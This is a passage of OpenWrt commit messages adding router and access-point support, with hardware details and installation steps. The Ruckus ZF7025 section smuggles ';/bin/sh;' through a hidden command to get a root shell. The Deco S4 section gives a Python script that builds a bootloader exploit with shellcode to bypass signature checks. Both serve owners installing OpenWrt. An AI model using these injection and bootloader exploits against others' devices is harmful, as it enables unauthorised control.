2. Allow the board to boot. Press the reset button, so the board
reboots into U-boot again and go back to point 1.
3. Set the "bootcmd" variable to disable the dual-boot feature of the
system and ensure that uImage is loaded. This is critical step, and
needs to be done only on initial installation.
> setenv bootcmd "bootm 0x9f040000"
> saveenv
4. Boot the OpenWrt initramfs using TFTP. Replace IP addresses as needed:
> setenv serverip 192.168.1.2
> setenv ipaddr 192.168.1.1
> tftpboot 0x81000000 openwrt-ath79-generic-ruckus_zf7025-initramfs-kernel.bin
> bootm 0x81000000
5. Optional, but highly recommended: back up contents of "firmware" partition:
$ ssh root@192.168.1.1 cat /dev/mtd1 > ruckus_zf7025_fw1_backup.bin
6. Copy over sysupgrade image, and perform actual installation. OpenWrt
shall boot from flash afterwards:
$ ssh root@192.168.1.1
# sysupgrade -n openwrt-ath79-generic-ruckus_zf7025-squashfs-sysupgrade.bin
[2] Using stock root shell:
0. Reset the device to factory defaullts. Power-on the device and after
it boots, hold the reset button near Ethernet connectors for 5
seconds.
1. Connect the device to the network. It will acquire address over DHCP,
so either find its address using list of DHCP leases by looking for
label MAC address, or try finding it by scanning for SSH port:
$ nmap 10.42.0.0/24 -p22
From now on, we assume your computer has address 10.42.0.1 and the device
has address 10.42.0.254.
2. Set up a TFTP server on your computer. We assume that TFTP server
root is at /srv/tftp.
3. Obtain root shell. Connect to the device over SSH. The SSHD ond the
frmware is pretty ancient and requires enabling HMAC-MD5.
$ ssh 10.42.0.254 \
-o UserKnownHostsFile=/dev/null \
-o StrictHostKeyCheking=no \
-o MACs=hmac-md5
Login. User is "super", password is "sp-admin".
Now execute a hidden command:
Ruckus
It is case-sensitive. Copy and paste the following string,
including quotes. There will be no output on the console for that.
";/bin/sh;"
Hit "enter". The AP will respond with:
grrrr
OK
Now execute another hidden command:
!v54!
At "What's your chow?" prompt just hit "enter".
Congratulations, you should now be dropped to Busybox shell with root
permissions.
4. Optional, but highly recommended: backup the flash contents before
installation. At your PC ensure the device can write the firmware
over TFTP:
$ sudo touch /srv/tftp/ruckus_zf7025_firmware{1,2}.bin
$ sudo chmod 666 /srv/tftp/ruckus_zf7025_firmware{1,2}.bin
Locate partitions for primary and secondary firmware image.
NEVER blindly copy over MTD nodes, because MTD indices change
depending on the currently active firmware, and all partitions are
writable!
# grep rcks_wlan /proc/mtd
Copy over both images using TFTP, this will be useful in case you'd
like to return to stock FW in future. Make sure to backup both, as
OpenWrt uses bot firmwre partitions for storage!
# tftp -l /dev/<rcks_wlan.main_mtd> -r ruckus_zf7025_firmware1.bin -p 10.42.0.1
# tftp -l /dev/<rcks_wlan.bkup_mtd> -r ruckus_zf7025_firmware2.bin -p 10.42.0.1
When the command finishes, copy over the dump to a safe place for
storage.
$ cp /srv/tftp/ruckus_zf7025_firmware{1,2}.bin ~/
5. Ensure the system is running from the BACKUP image, i.e. from
rcks_wlan.bkup partition or "image 2". Otherwise the installation
WILL fail, and you will need to access mtd0 device to write image
which risks overwriting the bootloader, and so is not covered here
and not supported.
Switching to backup firmware can be achieved by executing a few
consecutive reboots of the device, or by updating the stock firmware. The
system will boot from the image it was not running from previously.
Stock firmware available to update was conveniently dumped in point 4 :-)
6. Prepare U-boot environment image.
Install u-boot-tools package. Alternatively, if you build your own
images, OpenWrt provides mkenvimage in host staging directory as well.
It is recommended to extract environment from the device, and modify
it, rather then relying on defaults:
$ sudo touch /srv/tftp/u-boot-env.bin
$ sudo chmod 666 /srv/tftp/u-boot-env.bin
On the device, find the MTD partition on which environment resides.
Beware, it may change depending on currently active firmware image!
# grep u-boot-env /proc/mtd
Now, copy over the partition
# tftp -l /dev/mtd<N> -r u-boot-env.bin -p 10.42.0.1
Store the stock environment in a safe place:
$ cp /srv/tftp/u-boot-env.bin ~/
Extract the values from the dump:
$ strings u-boot-env.bin | tee u-boot-env.txt
Now clean up the debris at the end of output, you should end up with
each variable defined once. After that, set the bootcmd variable like
this:
bootcmd=bootm 0x9f040000
You should end up with something like this:
bootcmd=bootm 0x9f040000
bootargs=console=ttyS0,115200 rootfstype=squashfs init=/sbin/init
baudrate=115200
ethaddr=0x00:0xaa:0xbb:0xcc:0xdd:0xee
mtdparts=mtdparts=ar7100-nor0:256k(u-boot),7168k(rcks_wlan.main),7168k(rcks_wlan.bkup),1280k(datafs),256k(u-boot-env)
mtdids=nor0=ar7100-nor0
bootdelay=2
filesize=52e000
fileaddr=81000000
ethact=eth0
stdin=serial
stdout=serial
stderr=serial
partition=nor0,0
mtddevnum=0
mtddevname=u-boot
ipaddr=192.168.0.1
serverip=192.168.0.2
stderr=serial
ethact=eth0
These are the defaults, you can use most likely just this as input to
mkenvimage.
Now, create environment image and copy it over to TFTP root:
$ mkenvimage -s 0x40000 -b -o u-boot-env.bin u-boot-env.txt
$ sudo cp u-boot-env.bin /srv/tftp
This is the same image, gzipped and base64-encoded:
H4sICOLMEGMAA3UtYm9vdC1lbnYtbmV3LmJpbgDt0E1u00AUAGDfgm2XDUrTsUV/pTkFSxZoEk+o
lcQJtlNaLsURwU4FikDiBN+3eDNvLL/3Zt5/+vFuud8Pq10dp3V3EV4e1uFDGBXTQeq+9HG1b/v9
NsdheP0Y5mV5U4Vw0Y1f1/3wesix/3pM/dO6v2jaZojX/bJpr6dtsUzHuktDjm//FHl4SnXdxfAS
wmN4SWkMy+UYVqsx1PUYci52Q31I3dDHP5vU3ZUhXLX7LjxWN7eby+PVNNxsflfe3m8uu9Wm//xt
m9rFLjXtv6fLzfEwm5fVfdhc1mlI6342Pytzldvn2dS1qfs49Tjvd3qFOm/Ta6yKdbPNffM9x5sq
Ty805acL3Zfh5HTD1RDHJRT9WLGNfe6atJ2S/XE4y3LX/c6mSzZDs29P3edhmqXOz+1xF//s0y7H
t3GL5nDqWT5Ui/Gii7Aoi7HQ81jrcHZY/dXkfLLiJwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8
xy8jb4zOAAAEAA==
7. Perform actual installation. Copy over OpenWrt sysupgrade image to
TFTP root:
$ sudo cp openwrt-ath79-generic-ruckus_zf7025-squashfs-sysupgrade.bin /srv/tftp
Now load both to the device over TFTP:
# tftp -l /tmp/u-boot-env.bin -r u-boot-env.bin -g 10.42.0.1
# tftp -l /tmp/openwrt.bin -r openwrt-ath79-generic-ruckus_zf7025-squashfs-sysupgrade.bin -g 10.42.0.1
Verify checksums of both images to ensure the transfer over TFTP
was completed:
# sha256sum /tmp/u-boot-env.bin /tmp/openwrt.bin
And compare it against source images:
$ sha256sum /srv/tftp/u-boot-env.bin /srv/tftp/openwrt-ath79-generic-ruckus_zf7025-squashfs-sysupgrade.bin
Locate MTD partition of the primary image:
# grep rcks_wlan.main /proc/mtd
Now, write the images in place. Write U-boot environment last, so
unit still can boot from backup image, should power failure occur during
this. Replace MTD placeholders with real MTD nodes:
# flashcp /tmp/openwrt.bin /dev/<rcks_wlan.main_mtd>
# flashcp /tmp/u-boot-env.bin /dev/<u-boot-env_mtd>
Finally, reboot the device. The device should directly boot into
OpenWrt. Look for the characteristic power LED blinking pattern.
# reboot -f
After unit boots, it should be available at the usual 192.168.1.1/24.
Return to factory firmware:
1. Boot into OpenWrt initramfs as for initial installation. To do that
without disassembly, you can write an initramfs image to the device
using 'sysupgrade -F' first.
2. Unset the "bootcmd" variable:
fw_setenv bootcmd ""
3. Concatenate the firmware backups, if you took them during installation using method 2:
$ cat ruckus_zf7025_fw1_backup.bin ruckus_zf7025_fw2_backup.bin > ruckus_zf7025_backup.bin
3. Write factory images downloaded from manufacturer website into
fwconcat0 and fwconcat1 MTD partitions, or restore backup you took
before installation:
# mtd write ruckus_zf7025_backup.bin /dev/mtd1
4. Reboot the system, it should load into factory firmware again.
Quirks and known issues:
- Flash layout is changed from the factory, to use both firmware image
partitions for storage using mtd-concat, and uImage format is used to
actually boot the system, which rules out the dual-boot capability.
- The 2.4 GHz radio has its own EEPROM on board, not connected to CPU.
- The stock firmware has dual-boot capability, which is not supported in
OpenWrt by choice.
It is controlled by data in the top 64kB of RAM which is unmapped,
to avoid the interference in the boot process and accidental
switch to the inactive image, although boot script presence in
form of "bootcmd" variable should prevent this entirely.
- On some versions of stock firmware, it is possible to obtain root shell,
however not much is available in terms of debugging facitilies.
1. Login to the rkscli
2. Execute hidden command "Ruckus"
3. Copy and paste ";/bin/sh;" including quotes. This is required only
once, the payload will be stored in writable filesystem.
4. Execute hidden command "!v54!". Press Enter leaving empty reply for
"What's your chow?" prompt.
5. Busybox shell shall open.
Source: https://alephsecurity.com/vulns/aleph-2019014
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
On TP-Link ar7241 devices LAN and WAN interfaces are swapped. Keeping
that in mind fix MAC address assignment as used in vendor firmware:
LAN MAC - main MAC stored in u-boot and printed on label
WAN MAC - LAN MAC + 1
Signed-off-by: Will Moss <willormos@gmail.com>
Add support for the Teltonika RUT300 rugged industrial Ethernet router
Hardware
--------
SoC: Qualcomm Atheros QCA9531
RAM: 64M DDR2 (EtronTech EM68B16CWQK-25IH)
FLASH: 16M SPI-NOR (Winbond W25Q128)
ETH: 4x 100M LAN (QCA9533 internal AR8229 switch, eth0)
1x 100M WAN (QCA9533 internal PHY, eth1)
UART: 115200 8n1, same debug port as other Teltonika devices
USB: 1 single USB 2.0 host port
BUTTON: Reset
LED: 1x green power LED (always on)
5x yellow Ethernet port LED (controlled by Linux)
WAN port LED is used as boot status and upgrade indicator as
the power LED cannot be controlled in software.
Use the *-factory.bin file to intially flash the device using the
vendor firmware's Web-UI.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Driver for both soc (2.4GHz Wifi) and pci (5 GHz) now pull the calibration
data from the nvmem subsystem.
This allows us to move the userspace caldata extraction for the pci-e ath9k
supported wifi into the device-tree definition of the device.
wmac's nodes are also changed over to use nvmem-cells over OpenWrt's
custom mtd-cal-data property.
Signed-off-by: Edward Chow <equu@openmail.cc>
For all SoC in the ath79 target, the PLL controller provides 3 main
clocks "cpu", "ddr" and "ahb" through the input clock "ref".
Signed-off-by: Shiji Yang <yangshiji66@qq.com>
AR7161, AR724x, AR9132 and QCA95xx only support fixed frequency external
crystal oscillator, so move reference clock node to SoC dtsi files.
Signed-off-by: Shiji Yang <yangshiji66@qq.com>
This DT property allows marking flash partition that Linux should use as
a root device. It's useful for devices that don't use U-Boot and cmdline
parser for partitioning. It may be used with "fixed-partitions" or some
dynamic partitioning based on flash content.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Expand currently unused flash space to roofs for DIR-825-B1 by using the same
flash space as the old ar71xx big image without moving the caldata.
With some testing this partition is use by the OEM firmware
but if changed is regenerated which allows reverting to OEM firmware
Signed-off-by: Alan Luck <luckyhome2008@gmail.com>
Add support for the TrendNet TEW-673GRU to ath79.
This device was supported in 19.07.9 but was deprecated with ar71xx.
This is mostly a copy of D-Link DIR-825 B1.
Updates have been completed to enable factory.bin and sysupgrade.bin both.
Code improvements to DTS file and makefile.
Architecture | MIPS
Vendor | Qualcomm Atheros
bootloader | U-Boot
System-On-Chip | AR7161 rev 2 (MIPS 24Kc V7.4)
CPU/Speed | 24Kc V7.4 680 MHz
Flash-Chip | Macronix MX25L6405D
Flash size | 8192 KiB
RAM Chip: | ProMOS V58C2256164SCI5 × 2
RAM size | 64 MiB
Wireless | 2 x Atheros AR922X 2.4GHz/5.0GHz 802.11abgn
Ethernet | RealTek RTL8366S Gigabit w/ port based vlan support
USB | Yes 2 x 2.0
Initial Flashing Process:
1) Download 22.03 tew-673gru factory bin
2) Flash 22.03 using TrendNet GUI
OpenWRT Upgrade Process
3) Download 22.03 tew-673gru sysupgrade.bin
4) Flash 22.03 using OpenWRT GUI
Signed-off-by: Korey Caro <korey.caro@gmail.com>
Add support for the Linksys EA4500 v3 wireless router
Hardware
--------
SoC: Qualcomm Atheros QCA9558
RAM: 128M DDR2 (Winbond W971GG6KB-25)
FLASH: 128M SPI-NAND (Spansion S34ML01G100TFI00)
WLAN: QCA9558 3T3R 802.11 bgn
QCA9580 3T3R 802.11 an
ETH: Qualcomm Atheros QCA8337
UART: 115200 8n1, same as ea4500 v2
USB: 1 single USB 2.0 host port
BUTTON: Reset - WPS
LED: 1x system-LED
LEDs besides the ethernet ports are controlled
by the ethernet switch
MAC Address:
use address(sample 1) source
label 94:10:3e:xx:xx:6f caldata@cal_macaddr
lan 94:10:3e:xx:xx:6f $label
wan 94:10:3e:xx:xx:6f $label
WiFi4_2G 94:10:3e:xx:xx:70 caldata@cal_ath9k_soc
WiFi4_5G 94:10:3e:xx:xx:71 caldata@cal_ath9k_pci
Installation from Serial Console
------------
1. Connect to the serial console. Power up the device and interrupt
autoboot when prompted
2. Connect a TFTP server reachable at 192.168.1.0/24
(e.g. 192.168.1.66) to the ethernet port. Serve the OpenWrt
initramfs image as "openwrt.bin"
3. To test OpenWrt only, go to step 4 and never execute step 5;
To install, auto_recovery should be disabled first, and boot_part
should be set to 1 if its current value is not.
ath> setenv auto_recovery no
ath> setenv boot_part 1
ath> saveenv
4. Boot the initramfs image using U-Boot
ath> setenv serverip 192.168.1.66
ath> tftpboot 0x84000000 openwrt.bin
ath> bootm
5. Copy the OpenWrt sysupgrade image to the device using scp and
install it like a normal upgrade (with no need to keeping config
since no config from "previous OpenWRT installation" could be kept
at all)
# sysupgrade -n /path/to/openwrt/sysupgrade.bin
Note: Like many other routers produced by Linksys, it has a dual
firmware flash layout, but because I do not know how to handle
it, I decide to disable it for more usable space. (That is why
the "auto_recovery" above should be disabled before installing
OpenWRT.) If someone is interested in generating factory
firmware image capable to flash from stock firmware, as well as
restoring the dual firmware layout, commented-out layout for the
original secondary partitions left in the device tree may be a
useful hint.
Installation from Web Interface
------------
1. Login to the router via its web interface (default password: admin)
2. Find the firmware update interface under "Connectivity/Basic"
3. Choose the OpenWrt factory image and click "Start"
4. If the router still boots into the stock firmware, it means that
the OpenWrt factory image has been installed to the secondary
partitions and failed to boot (since OpenWrt on EA4500 v3 does not
support dual boot yet), and the router switched back to the stock
firmware on the primary partitions. You have to install a stock
firmware (e.g. 3.1.6.172023, downloadable from
https://www.linksys.com/support-article?articleNum=148385 ) first
(to the secondary partitions) , and after that, install OpenWrt
factory image (to the primary partitions). After successful
installation of OpenWrt, auto_recovery will be automatically
disabled and router will only boot from the primary partitions.
Signed-off-by: Edward Chow <equu@openmail.cc>
Manually rebased:
bcm53xx/patches-5.10/180-usb-xhci-add-support-for-performing-fake-doorbell.patch
All patches automatically rebased.
Signed-off-by: John Audia <therealgraysky@proton.me>
[Move gro_skip in 680-NET-skip-GRO-for-foreign-MAC-addresses.patch to old position]
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This fixes reference clock frequency of RB912. 25 MHz frequency leads
to system clock running too fast, uptime incrementing too fast and
delays (like `sleep 10`) returning too early.
Board has quartz with NSK 3KHAA Z 40 000 marking.
Signed-off-by: Pavel Kamaev <pavel@kamaev.me>
Get MAC address of WAN from HW.WAN.MAC.Address in hwconfig partition
instead of calculated one from wlan's address.
And added label_mac.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Use NVMEM "calibration" implementation for ath9k/ath10k(-ct) on ELECOM
WRC-300GHBK2-I and WRC-1750GHBK2-I/C instead of mtd-cal-data property
or user-space script.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Use ARTIFACTS to generate factory image of the following ELECOM devices
instead of redundant recipe which generate on KERNEL_INITRAMFS.
- ELECOM WRC-300GHBK2-I
- ELECOM WRC-1750GHBK2-I/C
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Everywhere else the device is referred to as WS-AP3805i,
only the model name wrongly only said AP3805i.
Signed-off-by: Tom Herbers <mail@tomherbers.de>
This allows the user to specify a larger tx ring buffer size via ethtool.
Having symmetrical ring buffer sizes increases throughput on high bandwidth
(1 gbps tested) network connections.
The default value is not changed so the same behaviour is saved.
Signed-off-by: Robert Meijer <robert.s.meijer@gmail.com>
[ improve title, commit description and wrap to 80 columns ]
Signed-off-by: Christian Marangi <ansuelsmth@gmail.com>
OpenWRT's developer guide prefers having actual patches so they an be
sent upstream more easily.
However, in this case, Adding proper fields also allows for `git am` to
properly function. Some of these patches are quite old, and lack much
traceable history.
This commit tries to rectify that, by digging in the history to find
where and how it was first added.
It is by no means perfect and also shows some patches that should have
been long gone.
Signed-off-by: Olliver Schinagl <oliver@schinagl.nl>
The 5.15 kernel has new interesting features like MGLRU. Most of the
targets already have added support for testing kernel 5.15 since April
2022. Set 5.15 as default for all subtargets.
Testing support was added here:
- ae6bfb7d67 ("ath79: tiny: add 5.15 support for tiny subtarget")
- 9a0155bc4f ("ath79: add 5.15 support for generic subtarget")
- 5af9aafabb ("ath79: mikrotik: add 5.15 support for mikrotik subtarget")
- f3fa68e515 ("ath79: nand: add 5.15 support for nand subtarget")
Tested on:
- Nanostation M5 XM (tiny)
- TP-Link EAP-225 Outdoor (generic)
- TP-Link CPE210 (generic)
Signed-off-by: Nick Hainke <vincent@systemli.org>
Currently factory.bin image recipe of ASUS RP-AC51 is not specified
explicitly and is thus set to the leaked one from the device recipe
right above, i.e. ASUS PL-AC56. Fix it to avoid potential breakage.
Fixes: 416d4483e8 ("ath79: add support for ASUS RP-AC51")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
The patch adding support for LEDs connected to a reset controller did
not apply any more, refresh it on top of current master.
Fixes: 53fc987b25 ("generic: move ledbar driver from mediatek target")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Specifications:
- SoC: ar9341
- RAM: 32M
- Flash: 4M
- Ethernet: 5x FE ports
- WiFi: ar9341-wmac
Flash instruction:
Upload generated factory firmware on vendor's web interface.
This device is very similar to the TL-WR841N v8, only two LED GPIOs are
different.
Buttons configuration is similar to TL-WR842ND v2 but both buttons are
active low.
Signed-off-by: Will Moss <willormos@gmail.com>
Add support for TP-Link Deco S4 wifi router
The label refers to the device as S4R and the TP-Link firmware
site calls it the Deco S4 v2. (There does not appear to be a v1)
Hardware (and FCC id) are identical to the Deco M4R v2 but the
flash layout is ordered differently and the OEM firmware encrypts
some config parameters (including the label mac address) in flash
In order to set the encrypted mac address, the wlan's caldata
node is removed from the DTS so the mac can be decrypted with
the help of the uencrypt tool and patched into the wlan fw
via hotplug
Specifications:
SoC: QCA9563-AL3A
RAM: Zentel A3R1GE40JBF
Wireless 2.4GHz: QCA9563-AL3A (main SoC)
Wireless 5GHz: QCA9886
Ethernet Switch: QCA8337N-AL3C
Flash: 16 MB SPI NOR
UART serial access (115200N1) on board via solder pads:
RX = TP1 pad
TX = TP2 pad
GND = C201 (pad nearest board edge)
The device's bootloader and web gui will only accept images that
were signed using TP-Link's RSA key, however a memory safety bug
in the bootloader can be leveraged to install openwrt without
accessing the serial console. See developer forum S4 support page
for link to a "firmware" file that starts a tftp client, or you
may generate one on your own like this:
```
python - > deco_s4_faux_fw_tftp.bin <<EOF
import sys
from struct import pack
b = pack('>I', 0x00008000) + b'X'*16 + b"fw-type:" \
+ b'x'*256 + b"S000S001S002" + pack('>I', 0x80060200) \
b += b"\x00"*(0x200-len(b)) \
+ pack(">33I", *[0x3c0887fc, 0x35083ddc, 0xad000000, 0x24050000,
0x3c048006, 0x348402a0, 0x3c1987f9, 0x373947f4,
0x0320f809, 0x00000000, 0x24050000, 0x3c048006,
0x348402d0, 0x3c1987f9, 0x373947f4, 0x0320f809,
0x00000000, 0x24050000, 0x3c048006, 0x34840300,
0x3c1987f9, 0x373947f4, 0x0320f809, 0x00000000,
0x24050000, 0x3c048006, 0x34840400, 0x3c1987f9,
0x373947f4, 0x0320f809, 0x00000000, 0x1000fff1,
0x00000000])
b += b"\xff"*(0x2A0-len(b)) + b"setenv serverip 192.168.0.2\x00"
b += b"\xff"*(0x2D0-len(b)) + b"setenv ipaddr 192.168.0.1\x00"
b += b"\xff"*(0x300-len(b)) + b"tftpboot 0x81000000 initramfs-kernel.bin\x00"
b += b"\xff"*(0x400-len(b)) + b"bootm 0x81000000\x00"
b += b"\xff"*(0x8000-len(b))
sys.stdout.buffer.write(b)
EOF
```
Installation:
1. Run tftp server on pc with static ip 192.168.0.2
2. Place openwrt "initramfs-kernel.bin" image in tftp root dir
3. Connect pc to router ethernet port1
4. While holding in reset button on bottom of router, power on router
5. From pc access router webgui at http://192.168.0.1
6. Upload deco_s4_faux_fw_tftp.bin
7. Router will load and execture in-memory openwrt
8. Switch pc back to dhcp or static 192.168.1.x
9. Flash openwrt sysupgrade image via luci/ssh at 192.168.1.1
Revert to stock:
Press and hold reset button while powering device to start the
bootloader's recovery mode, where stock firmware can be uploaded
via web gui at 192.168.0.1
Please note that one additional non-github commits is also needed:
firmware-utils: add tplink-safeloader support for Deco S4
Signed-off-by: Nick French <nickfrench@gmail.com>
FCC ID: U2M-CAP2100AG
WatchGuard AP100 is an indoor wireless access point with
1 Gb ethernet port, dual-band but single-radio wireless,
internal antenna plates, and 802.3at PoE+
this board is a Senao device:
the hardware is equivalent to EnGenius EAP300 v2
the software is modified Senao SDK which is based on openwrt and uboot
including image checksum verification at boot time,
and a failsafe image that boots if checksum fails
**Specification:**
- AR9344 SOC MIPS 74kc, 2.4 GHz AND 5 GHz WMAC, 2x2
- AR8035-A EPHY RGMII GbE with PoE+ IN
- 25 MHz clock
- 16 MB FLASH mx25l12805d
- 2x 64 MB RAM
- UART console J11, populated
- GPIO watchdog GPIO 16, 20 sec toggle
- 2 antennas 5 dBi, internal omni-directional plates
- 5 LEDs power, eth0 link/data, 2G, 5G
- 1 button reset
**MAC addresses:**
Label has no MAC
Only one Vendor MAC address in flash at art 0x0
eth0 ---- *:e5 art 0x0 -2
phy0 ---- *:e5 art 0x0 -2
**Installation:**
Method 1: OEM webpage
use OEM webpage for firmware upgrade to upload factory.bin
Method 2: root shell
It may be necessary to use a Watchguard router to flash the image to the AP
and / or to downgrade the software on the AP to access SSH
For some Watchguard devices, serial console over UART is disabled.
NOTE: DHCP is not enabled by default after flashing
**TFTP recovery:**
reset button has no function at boot time
only possible with modified uboot environment,
(see commit message for Watchguard AP300)
**Return to OEM:**
user should make backup of MTD partitions
and write the backups back to mtd devices
in order to revert to OEM reliably
It may be possible to use sysupgrade
with an OEM image as well...
(not tested)
**OEM upgrade info:**
The OEM upgrade script is at /etc/fwupgrade.sh
OKLI kernel loader is required because the OEM software
expects the kernel to be no greater than 1536k
and the factory.bin upgrade procedure would otherwise
overwrite part of the kernel when writing rootfs.
**Note on eth0 PLL-data:**
The default Ethernet Configuration register values will not work
because of the external AR8035 switch between
the SOC and the ethernet port.
For AR934x series, the PLL registers for eth0
can be see in the DTSI as 0x2c.
Therefore the PLL registers can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x1805002c 1`.
The clock delay required for RGMII can be applied
at the PHY side, using the at803x driver `phy-mode`.
Therefore the PLL registers for GMAC0
do not need the bits for delay on the MAC side.
This is possible due to fixes in at803x driver
since Linux 5.1 and 5.3
**Note on WatchGuard Magic string:**
The OEM upgrade script is a modified version of
the generic Senao sysupgrade script
which is used on EnGenius devices.
On WatchGuard boards produced by Senao,
images are verified using a md5sum checksum of
the upgrade image concatenated with a magic string.
this checksum is then appended to the end of the final image.
This variable does not apply to all the senao devices
so set to null string as default
Tested-by: Steve Wheeler <stephenw10@gmail.com>
Signed-off-by: Michael Pratt <mcpratt@pm.me>
FCC ID: U2M-CAP4200AG
WatchGuard AP200 is an indoor wireless access point with
1 Gb ethernet port, dual-band wireless,
internal antenna plates, and 802.3at PoE+
this board is a Senao device:
the hardware is equivalent to EnGenius EAP600
the software is modified Senao SDK which is based on openwrt and uboot
including image checksum verification at boot time,
and a failsafe image that boots if checksum fails
**Specification:**
- AR9344 SOC MIPS 74kc, 2.4 GHz WMAC, 2x2
- AR9382 WLAN PCI card 168c:0030, 5 GHz, 2x2, 26dBm
- AR8035-A EPHY RGMII GbE with PoE+ IN
- 25 MHz clock
- 16 MB FLASH mx25l12805d
- 2x 64 MB RAM
- UART console J11, populated
- GPIO watchdog GPIO 16, 20 sec toggle
- 4 antennas 5 dBi, internal omni-directional plates
- 5 LEDs power, eth0 link/data, 2G, 5G
- 1 button reset
**MAC addresses:**
Label has no MAC
Only one Vendor MAC address in flash at art 0x0
eth0 ---- *:be art 0x0 -2
phy1 ---- *:bf art 0x0 -1
phy0 ---- *:be art 0x0 -2
**Installation:**
Method 1: OEM webpage
use OEM webpage for firmware upgrade to upload factory.bin
Method 2: root shell
It may be necessary to use a Watchguard router to flash the image to the AP
and / or to downgrade the software on the AP to access SSH
For some Watchguard devices, serial console over UART is disabled.
NOTE: DHCP is not enabled by default after flashing
**TFTP recovery:**
reset button has no function at boot time
only possible with modified uboot environment,
(see commit message for Watchguard AP300)
**Return to OEM:**
user should make backup of MTD partitions
and write the backups back to mtd devices
in order to revert to OEM reliably
It may be possible to use sysupgrade
with an OEM image as well...
(not tested)
**OEM upgrade info:**
The OEM upgrade script is at /etc/fwupgrade.sh
OKLI kernel loader is required because the OEM software
expects the kernel to be no greater than 1536k
and the factory.bin upgrade procedure would otherwise
overwrite part of the kernel when writing rootfs.
**Note on eth0 PLL-data:**
The default Ethernet Configuration register values will not work
because of the external AR8035 switch between
the SOC and the ethernet port.
For AR934x series, the PLL registers for eth0
can be see in the DTSI as 0x2c.
Therefore the PLL registers can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x1805002c 1`.
The clock delay required for RGMII can be applied
at the PHY side, using the at803x driver `phy-mode`.
Therefore the PLL registers for GMAC0
do not need the bits for delay on the MAC side.
This is possible due to fixes in at803x driver
since Linux 5.1 and 5.3
**Note on WatchGuard Magic string:**
The OEM upgrade script is a modified version of
the generic Senao sysupgrade script
which is used on EnGenius devices.
On WatchGuard boards produced by Senao,
images are verified using a md5sum checksum of
the upgrade image concatenated with a magic string.
this checksum is then appended to the end of the final image.
This variable does not apply to all the senao devices
so set to null string as default
Tested-by: Steve Wheeler <stephenw10@gmail.com>
Tested-by: John Delaney <johnd@ankco.net>
Signed-off-by: Michael Pratt <mcpratt@pm.me>
FCC ID: Q6G-AP300
WatchGuard AP300 is an indoor wireless access point with
1 Gb ethernet port, dual-band wireless,
internal antenna plates, and 802.3at PoE+
this board is a Senao device:
the hardware is equivalent to EnGenius EAP1750
the software is modified Senao SDK which is based on openwrt and uboot
including image checksum verification at boot time,
and a failsafe image that boots if checksum fails
**Specification:**
- QCA9558 SOC MIPS 74kc, 2.4 GHz WMAC, 3x3
- QCA9880 WLAN PCI card 168c:003c, 5 GHz, 3x3, 26dBm
- AR8035-A PHY RGMII GbE with PoE+ IN
- 40 MHz clock
- 32 MB FLASH S25FL512S
- 2x 64 MB RAM NT5TU32M16
- UART console J10, populated
- GPIO watchdog GPIO 16, 20 sec toggle
- 6 antennas 5 dBi, internal omni-directional plates
- 5 LEDs power, eth0 link/data, 2G, 5G
- 1 button reset
**MAC addresses:**
MAC address labeled as ETH
Only one Vendor MAC address in flash at art 0x0
eth0 ETH *:3c art 0x0
phy1 ---- *:3d ---
phy0 ---- *:3e ---
**Serial console access:**
For this board, its not certain whether UART is possible
it is likely that software is blocking console access
the RX line on the board for UART is shorted to ground by resistor R176
the resistors R175 and R176 are next to the UART RX pin at J10
however console output is garbage even after this fix
**Installation:**
Method 1: OEM webpage
use OEM webpage for firmware upgrade to upload factory.bin
Method 2: root shell access
downgrade XTM firewall to v2.0.0.1
downgrade AP300 firmware: v1.0.1
remove / unpair AP from controller
perform factory reset with reset button
connect ethernet to a computer
login to OEM webpage with default address / pass: wgwap
enable SSHD in OEM webpage settings
access root shell with SSH as user 'root'
modify uboot environment to automatically try TFTP at boot time
(see command below)
rename initramfs-kernel.bin to test.bin
load test.bin over TFTP (see TFTP recovery)
(optionally backup all mtdblocks to have flash backup)
perform a sysupgrade with sysupgrade.bin
NOTE: DHCP is not enabled by default after flashing
**TFTP recovery:**
server ip: 192.168.1.101
reset button seems to do nothing at boot time...
only possible with modified uboot environment,
running this command in the root shell:
fw_setenv bootcmd 'if ping 192.168.1.101; then tftp 0x82000000 test.bin && bootm 0x82000000; else bootm 0x9f0a0000; fi'
and verify that it is correct with
fw_printenv
then, before boot, the device will attempt TFTP from 192.168.1.101
looking for file 'test.bin'
to return uboot environment to normal:
fw_setenv bootcmd 'bootm 0x9f0a0000'
**Return to OEM:**
user should make backup of MTD partitions
and write the backups back to mtd devices
in order to revert to OEM
(see installation method 2)
It may be possible to use sysupgrade
with an OEM image as well...
(not tested)
**OEM upgrade info:**
The OEM upgrade script is at /etc/fwupgrade.sh
OKLI kernel loader is required because the OEM software
expects the kernel to be no greater than 1536k
and the factory.bin upgrade procedure would otherwise
overwrite part of the kernel when writing rootfs.
**Note on eth0 PLL-data:**
The default Ethernet Configuration register values will not work
because of the external AR8035 switch between
the SOC and the ethernet port.
For QCA955x series, the PLL registers for eth0 and eth1
can be see in the DTSI as 0x28 and 0x48 respectively.
Therefore the PLL registers can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x18050028 1` and `md 0x18050048 1`.
The clock delay required for RGMII can be applied
at the PHY side, using the at803x driver `phy-mode`.
Therefore the PLL registers for GMAC0
